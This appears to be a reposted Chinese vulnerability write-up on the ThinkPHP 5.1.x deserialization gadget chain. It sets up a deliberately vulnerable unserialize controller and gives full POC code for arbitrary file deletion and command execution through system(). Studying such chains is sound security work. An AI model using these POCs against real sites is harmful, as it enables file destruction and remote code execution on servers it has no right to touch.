【详细分析】thinkphp反序列化漏洞

news2024/11/15 20:58:23

文章目录

  • 配置xdebug
  • 反序列化漏洞
    • 利用链
    • 详细分析
      • poc1(任意文件删除)
      • 测试poc
      • poc2(任意命令执行)
      • poc3(任意命令执行)
  • 补充代码
    • 基础函数
    • trait关键字
      • 应用案例
      • 优先级
      • 多trait

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。

# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行

2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 3600

3.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.

4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

在这里插入图片描述
在这里插入图片描述

详细分析

修改控制器

<?php
    namespace app\index\controller; 
	class Index { 
    public function index() { 
    unserialize(base64_decode($_GET['id'])); return "Welcome!"; 
    }
}

查找入口__destruct,进入windows类
在这里插入图片描述

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

查看removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

poc1(任意文件删除)

<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{
    private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];
    //这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

在这里插入图片描述

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString()
    {
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item       = [];
        $hasVisible = false;
...
if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }
...
                }
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
...
    return $value;
    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
    }

分析代码:

当RelationShip.php中的relation数组取不到name的键值,而Attribute.php中的data数组取到了name的键值,则将取出的value进行visible(name)方法
自此,relation->visible($name) 变成了:可控类->visible(可控变量)
接下来的思路就是找 可利用的visible()方法或者可利用的__call()
这里有一个细节,使用__call代替visible时,visible会作为$method传入__call方法,name则传入$args
一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用
经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

现在需要寻找继承了trait Conversion的类,找到一个abstract class Model(use model\concern\Conversion),找到一个实现这个抽象类的类class Pivot extends Model

thinkphp\library\think\Request

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }
        
//call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是
//$obj->$func($this,$argv)

这里的method是前面传递过来的visible,​this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);

测试poc

看看是否走到call_user_func_array

<?php
namespace think;
class Request{
    protected $hook = [];
    function __construct(){
        $this->hook=['visible'=>''];
    }
}

namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}

namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}
echo base64_encode(serialize(new Windows()));

在这里插入图片描述

这里有个 array_unshift(args, ​this); 会把this放到​arg数组的第一个元素

开始寻找不受this对象影响的方法

这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码,寻找使用了过滤器的所有方法。发现input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        ...

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
			//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组
            $data = $this->getData($data, $name);
						
            ...

            if (is_object($data)) {//$data不能是对象
                return $data;
            }
        }

        // 解析过滤器
	//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
						...
        } else {
            $this->filterValue($data, $name, $filter);
        }
				...

        return $data;
    }
this->filterValue($data, $name, $filter);
private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

或者走下面的路径执行命令

if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
    //这里最后还是会走到private function filterValue(&$value, $key, $filters)

继续查找调用input方法的的函数

param方法第一个参数可控,从这里入手

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        ...
    }

    if (true === $name) {
        ...
    }

    return $this->input($this->param, $name, $default, $filter);
}

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,调用链完成

  public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

poc2(任意命令执行)

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["poc"=>[" "," "]];
        $this->data = ["poc"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $mergeParam=true;
    protected $param = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";//回调时调用的PHP函数
        $this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变
        $this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax
        $this->mergeParam=true;//绕过param方法里的一些操作
        $this->param=["calc",""];//input方法的$data,也是即将执行的命令
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

poc3(任意命令执行)

<?php

namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));

补充代码

基础函数

__call

<?php
class Test
{
//    function __destruct(){
//        echo "coleak1";
//    }
    function  __call($method,$arguments)
    {
        echo "__call" .PHP_EOL. $method.PHP_EOL;
        print_r($arguments);
    }
}
$a=new Test();
$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift

<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array

<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);

coleak\admin

<?php

class Test{
    public function isAjax()
    {
        echo "isAjax".PHP_EOL;
    }
    public function __call($method, $args){
        echo "call".PHP_EOL;
        $args=[$this,'aaa'];
        call_user_func_array([$this,'isAjax'],$args);
    }
}
$a = new Test();
$a->visible();

call
isAjax

getRelation

<?php
function getRelation($name = null)
{
    $relation=['a'=>'c','b'=>'d'];
    if (is_null($name)) {
        return $relation;
    } elseif (array_key_exists($name, $relation)) {
        return $relation[$name];
    }
    return;
}

$append=['a'=>['A','AA'],'b'=>['b','BB']];
if (!empty($append)) {
    foreach ($append as $key => $name) {
        if (is_array($name))
// 追加关联对象属性
            $relation = getRelation($key);
        echo $relation.PHP_EOL;
    }
}

print_r($append);

c
d
Array
(
[a] => Array
(
[0] => A
[1] => AA
)

[b] => Array
(
[0] => b
[1] => BB
)

)

array_walk_recursive

<?php
$c=['whoami'];
array_walk_recursive($c,'system');

coleak\admin

trait关键字

简介

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

应用案例

<?php
trait Hello{

    public function echo_hello(){
        echo 'hello';
    }
}
trait World{
    public function echo_world(){
        echo 'world';
    }
}
class A{
    use Hello,World;
}
$a = new A();
$a->echo_hello();
$a->echo_world();

helloworld

优先级

优先顺序是当前类中的方法会覆盖 trait 方法,而 trait 方法又覆盖了基类中的方法。

<?php
class Base {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait SayWorld {
    public function sayHello() {
        parent::sayHello();
        echo 'World!';
    }
}

class MyHelloWorld extends Base {
    use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

Hello World!S

多trait

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

Hello World!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/690255.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

聊聊我在店铺开放域做性能优化的体会

我们新推出大淘宝技术年度特刊《长期主义&#xff0c;往往从一些小事开始——工程师成长总结专题》&#xff0c;专题收录多位工程师真诚的心路历程与经验思考&#xff0c;覆盖终端、服务端、数据算法、技术质量等7大技术领域&#xff0c;欢迎一起沟通交流。 本文为此系列第五篇…

nodejs+mysql+vue+elementUI 实现选择资源管理工具

我们在写后台管理系统时会遇到上传视频、音频等内容。如果上传资源地方多的话,每个地方都要加上传的代码,比较麻烦。而且遇到有些图片是已经上传过的,下次遇到了又要重复上传,浪费服务器或cos资源。 这时候可以实现一个资源管理工具,上传图片到资源管理工具里,然后再去选…

35年前,金山WPS上的当终于找补回来,没想到,钉钉也深度参与

我们当年上了微软的当&#xff01; 近日&#xff0c;雷军在武汉科技大学毕业典礼致辞&#xff0c;登上了热搜。 关于“小米汽车”的话题再次被推上了舆论的风口。这是54岁雷军的最后一搏&#xff0c;距离2024年量产&#xff0c;时间也所剩不多了。 从软件到电商&#xff0c;到…

Flutter控件封装之视频进度条

视频控制器&#xff0c;三方所提供的样式&#xff0c;有时很难满足我们的需求&#xff0c;对于此情况&#xff0c;我们不得不在此基础上自行封装&#xff0c;今天所分享的文章就是一个很简单的控制器封装案例&#xff0c;包含了基本的播放暂停&#xff0c;全屏和退出全屏&#…

在ElementUI中如何通过按钮控制输入框的隐藏与显示

点击此按钮会出现两个输入框 当点击完新增后会出现两个输入框及一个按钮&#xff0c;解决此方案思路比较简单&#xff1a;就是设置一个属性值&#xff0c;用v-if进行绑定&#xff0c;在什么情况下需要显示就需要设置v-if绑定的值等于需要显示的值 <div style"height:7…

Istio 熔断 连接池 故障处理

istio熔断 熔断主要是无感的处理服务异常并保证不会发生级联甚至雪崩的服务异常。在微服务方面体现是对异常的服务情况进行快速失败&#xff0c;它对已经调用失败的服务不再会继续调用&#xff0c;如果仍需要调用此异常服务&#xff0c;它将立刻返回失败。 与此同时&#xff0…

c语言修炼第一章--初识c语言(1.3)

目录 前言&#xff1a; 1.关键字 1.1常见关键字: 1.1.1typedef类型重定义 1.2.static 1.2.1static修饰局部变量 1.2.2static修饰全局变量 1.2.3static修饰函数 …

待办事项工具用哪个?每天都在用的待办工具

随着职场“内卷”程度的加深&#xff0c;越来越多的上班族感到自己每天都会面临各种繁忙的日程安排、琐碎的待办事项&#xff0c;并且工作事项和家庭事项交织在一起&#xff0c;需要各方面都兼顾到&#xff0c;这简直让人恨不得长出三头六臂。在待办的事情比较多时&#xff0c;…

艺考之路,很艰难也很幸福

点击文末“阅读原文”即可参与节目互动 剪辑、音频 / 卷圈 运营 / SandLiu 卷圈 监制 / 姝琦 嘉宾 / 小川同学 产品统筹 / bobo 录音间 / 声湃轩北京站 本期节目是拼娃时代的第三十期&#xff0c;我们请来了拼娃时代的老朋友&#xff0c;小川同学。 拼娃时代的听友们肯定…

带有10位数码管显示的语音芯片ic,节省30%MCU硬件资源WTV890-B001

随着科技的不断发展&#xff0c;WTV890-B001多功能语音芯片的推出&#xff0c;为工程师带来了极大的便利和产品体验&#xff0c;这款多功能语音芯片具有许多优势&#xff0c;其中WTV890-B001版本中&#xff0c;最引人注目的特点是它带有10位的数码管显示功能&#xff0c;无需再…

nginx配置https证书(nginx-docker版本)

1、下载证书文件 以下两种多可配置 2、nginx server下加上配置 注意&#xff1a;ssl_certificate 参数可为crt文件、或者pem文件。需要将文件docker cp进容器中&#xff0c; ssl_certificate、ssl_certificate_key 为容器内的文件路径。 listen 443 ssl;server_name 域名地…

TMS FlexCel Studio for net 7.17 cRACK

TTMS FlexCel Studio for net 100% 托管代码 Excel 文件操作引擎以及 Excel 和 PDF 报告生成&#xff0c;适用于 .NET、Xamarin.iOS、Xamarin.Android、Xamarin.Mac​​ 功能概述 使用 FlexCel Studio for .NET 创建可动态快速读写 Excel 文件的应用程序、Web 服务和移动设备应…

深入理解浏览器的缓存机制之协商缓存与强缓存

目录 什么是浏览器缓存 浏览器缓存的分类 &#x1f397;️ 强缓存 &#x1f397;️ 协商缓存 &#x1f449;&#x1f3fb; 缓存请求流程 &#x1f449;&#x1f3fb; 为什么要有Etag &#x1f449;&#x1f3fb; 缓存优先级 &#x1f449;&#x1f3fb; 启发式缓存 &a…

Midjourney教程古风人像类

古风图像的特点&#xff1a; 人物发型多为飘逸的长发&#xff0c;或是精致的盘发&#xff1b; 人物服装多为飘逸的长袍、长裙&#xff1b; 整体画风以水墨、水彩、工笔为c主&#xff0c;线条写意&#xff0c;色彩清新淡雅&#xff1b; 背景中多用花鸟、亭台楼阁、桃林等构建氛…

抖音seo矩阵系统源码|需求文档编译说明(三)

文章目录 批量剪辑工具技术源码框架 短视频SEO矩阵系统源码技术开发&#xff0c;遵循步骤抖音矩阵系统源码搭建功能 开发语言及开发环境 抖音账号矩阵系统源码搭建包括以下步骤 概要 ​​抖音seo源码&#xff0c;抖音矩阵系统如何使用源码二次开发&#xff0c;开发的功能有那些…

RT-Thread内核介绍

目录 三、RT-Thread内核介绍 3.1、内核框架 3.1.1、线程调度 3.1.2、时钟管理 3.1.3、线程间同步 3.1.4、线程间通信 3.1.5、内存管理 3.1.6、I/O 设备管理 3.2、RTT内核启动流程 3.2.1、汇编阶段 3.2.2、C阶段 3.2.3、rtthread_startup函数 3.2.4、创建主线程 三、…

jupyter notebook内核挂掉的解决方案

今天在运行notebook时报错 “jupyter notebook内核挂掉了”查找发现是下面这一句出的错&#xff0c;这是pytorch深度学习实战中的一个例程&#xff0c;读取三维体素文件并把其中的一张当作图片显示出来 plt.imshow(vol_arr[50]) 完整代码如下 import torch torch.set_printo…

决策树精讲

一、决策树的构造 决策树的构造是一个递归的过程&#xff0c;有三种情形会导致递归返回&#xff1a;(1)当前结点包含的样本全属于同一类别&#xff0c;这时直接将该结点标记为叶结点&#xff0c;并设为相应的类别&#xff1b;(2)当前属性集为空&#xff0c;或是所有样本在所有…

消息队列选型——为什么选择RabbitMQ

前言 MQ消息是目前分布式系统必不可少的组件&#xff0c;但是面对市面上众多的MQ组件&#xff0c;我们该用什么呢&#xff1f;我以实际项目的需求触发&#xff0c;介绍今天的主角——rabbitMQ。同时也会告知又有哪些优势和不足。事不宜迟&#xff0c;就开始今天的学习吧 目录…

ghost cms配置qq邮箱

背景&#xff1a; 在ghost cms中使用qq邮箱作为注册、登录、订阅等邮件发送方。 1 修改配置 在config.*.json文件中&#xff0c;添加mail配置 "mail": {"from": "xxxxxxqq.com","transport": "SMTP","options"…